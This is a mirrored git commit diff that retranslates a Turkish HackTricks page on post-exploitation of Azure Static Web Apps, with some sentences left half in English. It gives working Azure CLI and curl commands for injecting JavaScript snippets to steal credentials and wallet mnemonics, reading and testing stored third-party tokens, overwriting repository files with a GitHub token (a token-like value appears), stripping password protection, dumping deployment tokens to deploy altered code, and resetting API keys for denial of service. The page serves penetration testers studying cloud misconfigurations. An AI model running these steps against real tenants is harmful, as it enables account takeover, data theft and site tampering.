mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+39
-32
@@ -1,10 +1,10 @@
|
||||
# Az - Statik Web Uygulamaları Sonrası İstismar
|
||||
# Az - Static Web Apps Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Statik Web Uygulamaları
|
||||
## Azure Static Web Apps
|
||||
|
||||
Bu hizmet hakkında daha fazla bilgi için kontrol edin:
|
||||
Daha fazla bilgi için bakın:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-static-web-apps.md
|
||||
@@ -12,9 +12,9 @@ Bu hizmet hakkında daha fazla bilgi için kontrol edin:
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
Bir snippet oluşturarak statik bir web sayfasının rastgele HTML kodu yüklemesi mümkündür. Bu, bir saldırganın web uygulaması içine JS kodu enjekte etmesine ve kimlik bilgileri veya mnemonic anahtarlar gibi hassas bilgileri çalmasına olanak tanıyabilir (web3 cüzdanlarında).
|
||||
Bir snippet oluşturarak bir static web sayfasının rastgele HTML kodu yüklemesi sağlanabilir. Bu, saldırganın web app içine JS kodu enjekte etmesine ve credentials veya mnemonic keys (in web3 wallets) gibi hassas bilgileri çalmasına yol açabilir.
|
||||
|
||||
Aşağıdaki komut, web uygulaması tarafından her zaman yüklenecek bir snippet oluşturur::
|
||||
Aşağıdaki komut web app tarafından her zaman yüklenecek bir snippet oluşturur::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
@@ -33,20 +33,20 @@ az rest \
|
||||
```
|
||||
### Yapılandırılmış Üçüncü Taraf Kimlik Bilgilerini Okuma
|
||||
|
||||
App Service bölümünde açıklandığı gibi:
|
||||
As explained in the App Service section:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Aşağıdaki komutu çalıştırarak, mevcut hesapta yapılandırılmış **üçüncü taraf kimlik bilgilerini** okumak mümkündür. Örneğin, bazı Github kimlik bilgileri farklı bir kullanıcıda yapılandırılmışsa, farklı bir kullanıcıdan token'a erişim sağlayamayacağınızı unutmayın.
|
||||
Aşağıdaki komutu çalıştırarak, mevcut hesapta yapılandırılmış **üçüncü taraf kimlik bilgilerini okuyabilirsiniz**. Örneğin bazı Github kimlik bilgileri farklı bir kullanıcıda yapılandırılmışsa, token'a başka bir kullanıcıdan erişemeyeceğinizi unutmayın.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
Bu komut, Github, Bitbucket, Dropbox ve OneDrive için token'lar döndürür.
|
||||
Bu komut Github, Bitbucket, Dropbox ve OneDrive için tokens'ları döndürür.
|
||||
|
||||
İşte token'ları kontrol etmek için bazı komut örnekleri:
|
||||
İşte tokens'ları kontrol etmek için bazı komut örnekleri:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
@@ -69,14 +69,14 @@ curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Dosyayı Üzerine Yaz - Yolları, HTML, JS...
|
||||
### Dosya üzerine yazma - routes, HTML, JS...
|
||||
|
||||
Azure üzerinden **Github token** kullanarak uygulamanın bulunduğu Github reposundaki bir dosyayı **üzerine yazmak** mümkündür. Aşağıdaki gibi bir istek göndererek, üzerine yazılacak dosyanın yolunu, dosyanın içeriğini ve commit mesajını belirtebilirsiniz.
|
||||
Uygulamayı barındıran **Github repo** içinde bir dosyayı, Azure'ın elindeki **Github token** ile aşağıdakine benzer bir istek göndererek **üzerine yazmak** mümkündür; bu istek üzerine yazılacak dosyanın yolunu, dosya içeriğini ve commit mesajını belirtir.
|
||||
|
||||
Bu, saldırganlar tarafından esasen **web uygulamasının içeriğini değiştirmek** (kimlik bilgilerini çalmak, mnemonic anahtarlar...) veya sadece belirli yolları kendi sunucularına **yönlendirmek** için `staticwebapp.config.json` dosyasını üzerine yazarak kötüye kullanılabilir.
|
||||
Bu, saldırganlar tarafından temel olarak **web uygulamasının içeriğini değiştirmek** (kötü amaçlı içerik sunmak; credentials, mnemonic keys... çalmak) veya `staticwebapp.config.json` dosyasını üzerine yazarak belirli yolları kendi sunucularına **yeniden yönlendirmek** için kötüye kullanılabilir.
|
||||
|
||||
> [!WARNING]
|
||||
> Bir saldırganın Github reposunu herhangi bir şekilde ele geçirmesi durumunda, dosyayı doğrudan Github üzerinden de üzerine yazabileceğini unutmayın.
|
||||
> Bir saldırgan Github repo'yu herhangi bir şekilde ele geçirmeyi başarırsa, dosyayı doğrudan Github üzerinden de üzerine yazabilir.
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
@@ -97,9 +97,9 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
Bu izinle, bir statik web uygulamasını koruyan **şifreyi değiştirmek** veya aşağıdaki gibi bir istek göndererek her ortamı korumasız hale getirmek mümkündür:
|
||||
Bu izin ile, bir static web app'i koruyan şifreyi **değiştirmek** veya hatta her ortamdaki korumayı kaldırmak mümkündür; aşağıdaki gibi bir istek gönderilerek:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
@@ -133,32 +133,38 @@ az rest --method put \
|
||||
```
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
Bu izin, statik uygulama için **API anahtarı dağıtım jetonunu** almayı sağlar:
|
||||
Bu izin, static app için **API key deployment token**'ı almayı sağlar.
|
||||
|
||||
az rest kullanılarak:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
Sonra, **token kullanarak bir uygulamayı güncellemek için** aşağıdaki komutu çalıştırabilirsiniz. Bu komut, **Github Action'ın [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) nasıl çalıştığını kontrol ederek** çıkarılmıştır, çünkü bu Azure tarafından varsayılan olarak kullanılmak üzere ayarlanmıştır. Bu nedenle, görüntü ve ayarlar gelecekte değişebilir.
|
||||
AzCLI kullanarak:
|
||||
```bash
|
||||
az staticwebapp secrets list --name <appname> --resource-group <RG>
|
||||
```
|
||||
Then, in order to **token kullanarak bir uygulamayı güncellemek için** you could run the following command. Note that this command was extracted checking **Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)'ın nasıl çalıştığını** kontrol ederek çıkarılmıştır, as it's the one Azure set by default ot use. So the image and parameters could change in the future.
|
||||
|
||||
> [!TIP]
|
||||
> Uygulamayı dağıtmak için [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) adresindeki **`swa`** aracını kullanabilir veya aşağıdaki adımları izleyebilirsiniz:
|
||||
> Uygulamayı dağıtmak için [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) adresindeki **`swa`** aracını kullanabilir veya aşağıdaki ham adımları izleyebilirsiniz:
|
||||
|
||||
1. [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (veya dağıtmak istediğiniz başka bir repo) reposunu indirin ve `cd react-basic` komutunu çalıştırın.
|
||||
2. Dağıtmak istediğiniz kodu değiştirin.
|
||||
3. Aşağıdaki komutu çalıştırarak dağıtın ( `<api-token>` kısmını değiştirmeyi unutmayın):
|
||||
1. Repo'yu [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ya da dağıtmak istediğiniz başka bir repo) indirin ve `cd react-basic` çalıştırın.
|
||||
2. Dağıtmak istediğiniz kodu değiştirin
|
||||
3. Aşağıdaki komut ile deploy edin ( `<api-token>`'i değiştirmeyi unutmayın):
|
||||
```bash
|
||||
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> Tokenunuz olsa bile, **Deployment Authorization Policy** **Github** olarak ayarlandığında uygulamayı dağıtamayacaksınız. Token'ı kullanmak için dağıtım yöntemini APi token'ını kullanacak şekilde değiştirmek için `Microsoft.Web/staticSites/write` iznine ihtiyacınız olacak.
|
||||
> Token'a sahip olsanız bile eğer **Deployment Authorization Policy** **Github** olarak ayarlıysa uygulamayı deploy edemezsiniz. Token'ı kullanmak için deployment yöntemini APi token'ı kullanacak şekilde değiştirmek üzere `Microsoft.Web/staticSites/write` iznine ihtiyacınız olacak.
|
||||
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
Bu izinle, **statik web uygulamasının kaynağını farklı bir Github deposuna değiştirmek** mümkündür, ancak bu otomatik olarak sağlanmayacaktır çünkü bu bir Github Action üzerinden yapılmalıdır.
|
||||
Bu izin ile **static web app'in kaynağını farklı bir Github repository'sine değiştirmek** mümkün, ancak bu otomatik olarak provision edilmeyecek çünkü bu işlem bir Github Action tarafından yapılmalıdır.
|
||||
|
||||
Ancak, **Deployment Authorization Policy** **Github** olarak ayarlandığında, **yeni kaynak deposundan uygulamayı güncellemek mümkündür!**.
|
||||
Ancak, eğer **Deployment Authotization Policy** **Github** olarak ayarlıysa, uygulamayı **yeni kaynak deposundan güncellemek** mümkün olacaktır!.
|
||||
|
||||
Eğer **Deployment Authorization Policy** Github olarak ayarlanmamışsa, aynı `Microsoft.Web/staticSites/write` izni ile bunu değiştirebilirsiniz.
|
||||
Eğer **Deployment Authorization Policy** Github olarak ayarlı değilse, bunu aynı `Microsoft.Web/staticSites/write` izni ile değiştirebilirsiniz.
|
||||
```bash
|
||||
# Change the source to a different Github repository
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
@@ -244,16 +250,16 @@ action: "close"
|
||||
```
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
Bu izinle, **statik web uygulamasının API anahtarını sıfırlamak** mümkün olup, uygulamayı otomatik olarak dağıtan iş akışlarını potansiyel olarak DoS saldırısına uğratabilir.
|
||||
Bu izin ile **static web app'in API key'ini sıfırlamak** mümkün olup, uygulamayı otomatik olarak deploy eden workflows'ları potansiyel olarak DoSing yapabilir.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
### Microsoft.Web/staticSites/createUserInvitation/action
|
||||
|
||||
Bu izin, belirli bir rol ile bir statik web uygulamasının korumalı yollarına erişim için **bir kullanıcıya davetiye oluşturmayı** sağlar.
|
||||
Bu izin, belirli bir role sahip olarak bir kullanıcıyı static web uygulaması içindeki korumalı yollara erişmesi için **kullanıcıya davet oluşturma** yetkisi verir.
|
||||
|
||||
Giriş, `/.auth/login/github` gibi bir yolda veya Entra ID için `/.auth/login/aad` yolunda bulunur ve bir kullanıcı aşağıdaki komut ile davet edilebilir:
|
||||
Giriş, github için `/.auth/login/github` veya Entra ID için `/.auth/login/aad` gibi bir yolda bulunur ve bir kullanıcı aşağıdaki komutla davet edilebilir:
|
||||
```bash
|
||||
az staticwebapp users invite \
|
||||
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
|
||||
@@ -264,13 +270,14 @@ az staticwebapp users invite \
|
||||
--user-details username # Github username in this case\
|
||||
--resource-group Resource_Group_1 # Resource group of the app
|
||||
```
|
||||
### Pull Requests
|
||||
### Pull Request'ler
|
||||
|
||||
Varsayılan olarak, aynı repo içindeki bir dalda yapılan Pull Requests otomatik olarak derlenir ve bir staging ortamında oluşturulur. Bu, repo üzerinde yazma erişimi olan ancak üretim dalının korumalarını (genellikle `main`) aşamayan bir saldırgan tarafından kötüye kullanılabilir ve **uygulamanın kötü niyetli bir versiyonunu** staging URL'sinde dağıtabilir.
|
||||
Varsayılan olarak aynı repodaki bir branştan gelen Pull Request'ler otomatik olarak derlenir ve bir staging ortamında build edilir. Bu, repoda write erişimi olan fakat üretim branch'inin (genellikle `main`) branch korumalarını aşamayan bir saldırgan tarafından staging URL'sine **kötücül bir uygulama sürümü deploy etmek** için suistimal edilebilir.
|
||||
|
||||
Staging URL'si bu formatta: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` örneğin: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
|
||||
> [!TIP]
|
||||
> Varsayılan olarak, harici PR'ler en az 1 PR'yi depoya birleştirmedikçe iş akışlarını çalıştırmaz. Bir saldırgan, depoya geçerli bir PR gönderebilir ve **sonra kötü niyetli bir PR** göndererek kötü niyetli uygulamayı staging ortamında dağıtabilir. ANCAK, beklenmedik bir koruma vardır; statik web uygulamasına dağıtım yapmak için varsayılan Github Action, dağıtım token'ını içeren sırra erişim gerektirir (örneğin `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) dağıtım IDToken ile yapılsa bile. Bu, harici bir PR'nin bu sırra erişimi olmayacağı ve harici bir PR'nin iş akışını burada keyfi bir token yerleştirecek şekilde değiştiremeyeceği anlamına gelir; bu nedenle **bu saldırı gerçekten işe yaramayacaktır**.
|
||||
> Varsayılan olarak dış PR'lerin repository'ye en az 1 PR merge etmedikçe workflow'ları çalıştırmayacağını unutmayın. Bir saldırgan repo'ya geçerli bir PR gönderebilir ve **sonra kötü niyetli bir PR** göndererek kötü niyetli uygulamayı staging ortamına deploy edebilir. ANCAK, beklenmedik bir koruma vardır: static web app'e deploy eden varsayılan Github Action, dağıtım token'ını içeren secret'a (örneğin `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) erişim gerektirir; deploy IDToken ile yapılsa bile. Bu, dış bir PR'nin bu secret'a erişimi olmayacağı ve bir dış PR'nin kabul edilmeden Workflow'u değiştirip buraya rastgele bir token koyamayacağı anlamına gelir; dolayısıyla **bu saldırı gerçekten çalışmayacaktır**.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user